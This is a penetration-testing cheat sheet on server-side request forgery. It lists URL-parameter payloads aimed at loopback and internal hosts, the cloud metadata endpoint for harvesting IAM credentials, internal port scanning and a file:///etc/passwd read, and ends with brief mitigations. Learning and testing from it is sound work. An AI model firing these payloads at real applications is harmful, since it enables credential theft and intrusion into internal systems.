Server-Side Request Forgery (SSRF)
reference
- Recon
- Enumerate
- Foothold
- PrivEsc
- Lateral
- Post-Ex
reached from Web injection point
SSRF occurs when an application fetches a remote resource from a user-controlled URL without validating the destination. The server makes the request on the attacker's behalf, so it reaches hosts the attacker cannot reach directly: loopback services, internal-only APIs, and the cloud metadata endpoint. The highest-value target is http://169.254.169.254/, the link-local metadata service on AWS, Azure, and GCP, which hands temporary IAM credentials to anything that asks from inside the instance. SSRF also enables internal port scanning (a quick connection versus a hanging timeout reveals which ports are open) and local file reads through the file:// scheme.
Detection · URL-Fetching Parameters
Any parameter that takes a URL, host, or path the server will retrieve:
?url=http://example.com
?path=http://example.com
?img=http://example.com
?src=http://example.com
?load=http://example.com
Internal Service Discovery
?url=http://127.0.0.1
?url=http://localhost
?url=http://192.168.1.1
?url=http://169.254.169.254/latest/meta-data/ # AWS metadata
Port Scan the Internal Network
?url=http://127.0.0.1:22 # Connection vs timeout indicates port state
File Read via file:// Scheme
?url=file:///etc/passwd
the Cloud domain for turning stolen metadata credentials into live cloud access, and Section E (File Inclusion) for file:// and PHP-wrapper reads.
Allowlist outbound destinations and reject internal and link-local ranges (127.0.0.0/8, 169.254.0.0/16, and the RFC-1918 space); disable unused URL schemes such as file:// and gopher://; require token-based metadata (IMDSv2) on AWS.